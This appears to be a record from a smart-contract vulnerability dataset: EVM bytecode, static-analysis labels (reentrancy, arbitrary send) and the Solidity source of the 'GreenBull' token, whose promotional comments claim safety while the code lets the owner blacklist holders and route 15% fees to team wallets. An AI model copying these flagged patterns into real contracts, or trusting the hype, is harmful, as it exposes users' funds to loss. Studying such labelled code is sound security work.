b3480156102b057600080fd5b5061020761076d565b3480156102c557600080fd5b506000546040516001600160a01b03909116815260200161016a565b3480156102ed57600080fd5b5060408051808201909152600881526710909a59d89a5c9960c21b602082015261015d565b34801561031e57600080fd5b5061019361032d366004611686565b6107ac565b34801561033e57600080fd5b5061020761034d366004611751565b6107b9565b34801561035e57600080fd5b5061020761090d565b34801561037357600080fd5b50610207610382366004611816565b610923565b34801561039357600080fd5b506101b96103a236600461182f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103d957600080fd5b5061020761097c565b60006103ef338484610bc0565b5060015b92915050565b6000610406848484610ce4565b610458843361045385604051806060016040528060288152602001611a2c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611005565b610bc0565b5060019392505050565b6000546001600160a01b031633146104955760405162461bcd60e51b815260040161048c90611868565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104e05760405162461bcd60e51b815260040161048c90611868565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b476105088161103f565b50565b6001600160a01b0381166000908152600260205260408120546103f390611079565b6000546001600160a01b031633146105575760405162461bcd60e51b815260040161048c90611868565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105cb5760405162461bcd60e51b815260040161048c90611868565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610606308266038d7ea4c68000610bc0565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610644573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610668919061189d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d9919061189d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610726573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074a919061189d565b600e80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146107975760405162461bcd60e51b815260040161048c90611868565b600e805460ff60a01b1916600160a01b179055565b60006103ef338484610ce4565b6000546001600160a01b031633146107e35760405162461bcd60e51b815260040161048c90611868565b60005b815181101561090957600d5482516001600160a01b0390911690839083908110610812576108126118ba565b60200260200101516001600160a01b0316141580156108635750600e5482516001600160a01b039091169083908390811061084f5761084f6118ba565b60200260200101516001600160a01b031614155b801561089a5750306001600160a01b0316828281518110610886576108866118ba565b60200260200101516001600160a01b031614155b156108f7576001600660008484815181106108b7576108b76118ba565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610901816118e6565b9150506107e6565b5050565b60006109183061050b565b9050610508816110f6565b6000546001600160a01b0316331461094d5760405162461bcd60e51b815260040161048c90611868565b6000811161095a57600080fd5b610976606461097066038d7ea4c6800084610af5565b90610b7e565b600f5550565b6000546001600160a01b031633146109a65760405162461bcd60e51b815260040161048c90611868565b600d546001600160a01b031663f305d71947306109c28161050b565b6000806109d76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a3f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a6491906118ff565b5050600e805461ffff60b01b19811661010160b01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ad1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610508919061192d565b600082600003610b07575060006103f3565b6000610b13838561194a565b905082610b208583611969565b14610b775760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161048c565b9392505050565b6000610b7783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611270565b6001600160a01b038316610c225760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161048c565b6001600160a01b038216610c835760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161048c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d485760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048c565b6001600160a01b038216610daa5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048c565b60008111610e0c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161048c565b6001600160a01b03831660009081526006602052604090205460ff16158015610e4e57506001600160a01b03821660009081526006602052604090205460ff16155b610e5757600080fd5b6003600a556006600b556000546001600160a01b03848116911614801590610e8d57506000546001600160a01b03838116911614155b15610ff557600e546001600160a01b038481169116148015610ebd5750600d546001600160a01b03838116911614155b8015610ee257506001600160a01b03821660009081526005602052604090205460ff16155b8015610ef75750600e54600160b81b900460ff165b15610f2157600f54811115610f0b57600080fd5b600e54600160a01b900460ff16610f2157600080fd5b600d546001600160a01b03848116911614801590610f5857506001600160a01b03831660009081526005602052604090205460ff16155b15610f7e57600e546001600160a01b0390811690831603610f7e576003600a556006600b555b6000610f893061050b565b600e54909150600160a81b900460ff16158015610fb45750600e546001600160a01b03858116911614155b8015610fc95750600e54600160b01b900460ff165b15610ff357610fd7816110f6565b476706f05b59d3b20000811115610ff157610ff14761103f565b505b505b61100083838361129e565b505050565b600081848411156110295760405162461bcd60e51b815260040161048c919061160c565b506000611036848661198b565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610909573d6000803e3d6000fd5b60006008548211156110e05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161048c565b60006110ea6112a9565b9050610b778382610b7e565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113e5761113e6118ba565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611197573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111bb919061189d565b816001815181106111ce576111ce6118ba565b6001600160a01b039283166020918202929092010152600d546111f49130911684610bc0565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061122d9085906000908690309042906004016119a2565b600060405180830381600087803b15801561124757600080fd5b505af115801561125b573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b600081836112915760405162461bcd60e51b815260040161048c919061160c565b5060006110368486611969565b6110008383836112cc565b60008060006112b66113c3565b90925090506112c58282610b7e565b9250505090565b6000806000806000806112de87611401565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611310908761145e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461133f90866114a0565b6001600160a01b038916600090815260026020526040902055611361816114ff565b61136b8483611549565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b091815260200190565b60405180910390a3505050505050505050565b600854600090819066038d7ea4c680006113dd8282610b7e565b8210156113f85750506008549266038d7ea4c6800092509050565b90939092509050565b600080600080600080600080600061141e8a600a54600b5461156d565b925092509250600061142e6112a9565b905060008060006114418e8787876115bc565b919e509c509a509598509396509194505050505091939550919395565b6000610b7783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611005565b6000806114ad8385611a13565b905083811015610b775760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161048c565b60006115096112a9565b905060006115178383610af5565b3060009081526002602052604090205490915061153490826114a0565b30600090815260026020526040902055505050565b600854611556908361145e565b60085560095461156690826114a0565b6009555050565b600080808061158160646109708989610af5565b9050600061159460646109708a89610af5565b905060006115ac826115a68b8661145e565b9061145e565b9992985090965090945050505050565b60008080806115cb8886610af5565b905060006115d98887610af5565b905060006115e78888610af5565b905060006115f9826115a6868661145e565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156116395785810183015185820160400152820161161d565b8181111561164b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461050857600080fd5b803561168181611661565b919050565b6000806040838503121561169957600080fd5b82356116a481611661565b946020939093013593505050565b6000806000606084860312156116c757600080fd5b83356116d281611661565b925060208401356116e281611661565b929592945050506040919091013590565b60006020828403121561170557600080fd5b8135610b7781611661565b801515811461050857600080fd5b60006020828403121561173057600080fd5b8135610b7781611710565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561176457600080fd5b823567ffffffffffffffff8082111561177c57600080fd5b818501915085601f83011261179057600080fd5b8135818111156117a2576117a261173b565b8060051b604051601f19603f830116810181811085821117156117c7576117c761173b565b6040529182528482019250838101850191888311156117e557600080fd5b938501935b8285101561180a576117fb85611676565b845293850193928501926117ea565b98975050505050505050565b60006020828403121561182857600080fd5b5035919050565b6000806040838503121561184257600080fd5b823561184d81611661565b9150602083013561185d81611661565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118af57600080fd5b8151610b7781611661565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016118f8576118f86118d0565b5060010190565b60008060006060848603121561191457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561193f57600080fd5b8151610b7781611710565b6000816000190483118215151615611964576119646118d0565b500290565b60008261198657634e487b7160e01b600052601260045260246000fd5b500490565b60008282101561199d5761199d6118d0565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119f25784516001600160a01b0316835293830193918301916001016119cd565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a2657611a266118d0565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220124699a66f830064ebb52bb385f326aa35e3088f20c10ba684ba589b809e439764736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,942
0x1a86a2157df0611cde3f3d14cb6d12cb38bf2d55
/** *Submitted for verification at Etherscan.io on 2021-06-14 */ /** /* ░██████╗░██████╗░███████╗███████╗███╗░░██╗██████╗░██╗░░░██╗██╗░░░░░██╗░░░░░ ██╔════╝░██╔══██╗██╔════╝██╔════╝████╗░██║██╔══██╗██║░░░██║██║░░░░░██║░░░░░ ██║░░██╗░██████╔╝█████╗░░█████╗░░██╔██╗██║██████╦╝██║░░░██║██║░░░░░██║░░░░░ ██║░░╚██╗██╔══██╗██╔══╝░░██╔══╝░░██║╚████║██╔══██╗██║░░░██║██║░░░░░██║░░░░░ ╚██████╔╝██║░░██║███████╗███████╗██║░╚███║██████╦╝╚██████╔╝███████╗███████╗ ░╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚═╝░░╚══╝╚═════╝░░╚═════╝░╚══════╝╚══════╝ Web: www.greenbull.capital TG: t.me/GreenBullCapital Twitter: twitter.com/GreenBullETH BULLSEASON is back, degens!! Announcing… GREENBULL ($GBULL) Liquidity will be locked, ownership renounced. Safe MOON-MISSION. GET READY TO FLY!!! Brought to you by the Gangsta’Cat Squad, bringing the most based safe-launches. SLIPPAGE 16% - No bots on contract, you will Not be front-run. ☑️ Stealth-launch ☑️ Renounced contract ☑️ No max buy/sells after clean launch ☑️ Holding gets rewarded because of reflection ☑️ Locked liquidity ☑️ No Bots ☑️ Earn tokens holding $GBULL in your wallet. Team earns as well. // SPDX-License-Identifier: Unlicensed */ pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GreenBull is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "GreenBull.Capital"; string private constant _symbol = 'GBULL'; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 13; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 4250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b03813516906020013561052c565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b5061020561054a565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610557565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105de565b005b34801561029b57600080fd5b506102a4610657565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b5035151561065c565b3480156102f257600080fd5b5061028d6106d2565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610706565b34801561033a57600080fd5b5061028d610770565b34801561034f57600080fd5b50610358610812565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e610821565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b038135169060200135610840565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610854945050505050565b34801561047e57600080fd5b5061028d610908565b34801561049357600080fd5b5061028d610945565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d2c565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e31565b60408051808201909152601181527011dc99595b909d5b1b0b90d85c1a5d185b607a1b602082015290565b6000610540610539610e5c565b8484610e60565b5060015b92915050565b683635c9adc5dea0000090565b6000610564848484610f4c565b6105d484610570610e5c565b6105cf85604051806060016040528060288152602001611fc3602891396001600160a01b038a166000908152600460205260408120906105ae610e5c565b6001600160a01b031681526020810191909152604001600020549190611322565b610e60565b5060019392505050565b6105e6610e5c565b6000546001600160a01b03908116911614610636576040805162461bcd60e51b81526020600482018190526024820152600080516020611feb833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610664610e5c565b6000546001600160a01b039081169116146106b4576040805162461bcd60e51b81526020600482018190526024820152600080516020611feb833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106e6610e5c565b6001600160a01b0316146106f957600080fd5b47610703816113b9565b50565b6001600160a01b03811660009081526006602052604081205460ff161561074657506001600160a01b03811660009081526003602052604090205461076b565b6001600160a01b0382166000908152600260205260409020546107689061143e565b90505b919050565b610778610e5c565b6000546001600160a01b039081169116146107c8576040805162461bcd60e51b81526020600482018190526024820152600080516020611feb833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36